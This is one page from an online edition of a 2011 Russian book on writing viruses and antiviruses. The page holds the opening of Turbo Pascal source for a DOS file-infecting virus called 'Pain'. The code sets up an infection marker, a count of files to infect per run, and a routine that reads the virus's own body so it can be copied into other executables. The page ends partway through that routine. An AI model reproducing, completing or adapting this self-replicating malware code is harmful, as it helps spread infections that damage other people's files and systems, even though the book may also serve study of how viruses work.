Оценить:
 Рейтинг: 0

Создаем вирус и антивирус

Жанр
Год написания книги
2011
<< 1 ... 6 7 8 9 10 11 12 13 14 ... 45 >>
На страницу:
10 из 45
Настройки чтения
Размер шрифта
Высота строк
Поля

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!’;

{Длина получаемого при компиляции EXE?файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

InfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

VirIdentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

{Еще одна файловая переменная – хотя без нее можно было

обойтись, так будет понятнее}

Target: File;

{Для имени найденного файла}

TargetFile: PathStr;

{Буфер для тела вируса}

VirBuf : Array [1.VirLen] of Char;

{Для даты/времени файла}

Time : LongInt;

{Счетчик количества инфицированных файлов}

InfFiles : Byte;

DirInfo : SearchRec;

LabelBuf : Array [1.5] of Char;

{Инициализация}

procedure Init;

begin

LabelBuf[1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3];

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

{Обнуляем счетчик количества инфицированных файлов}

InfFiles:=0;

{Связываем файловую переменную VirBody с именем программы,

из которой стартовали}

Assign(VirBody, ParamStr(0));

{Открываем файл с recsize=1 байту}

Reset(VirBody, 1);

{Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody, VirBuf, VirLen);

{Закрываем файл}
<< 1 ... 6 7 8 9 10 11 12 13 14 ... 45 >>
На страницу:
10 из 45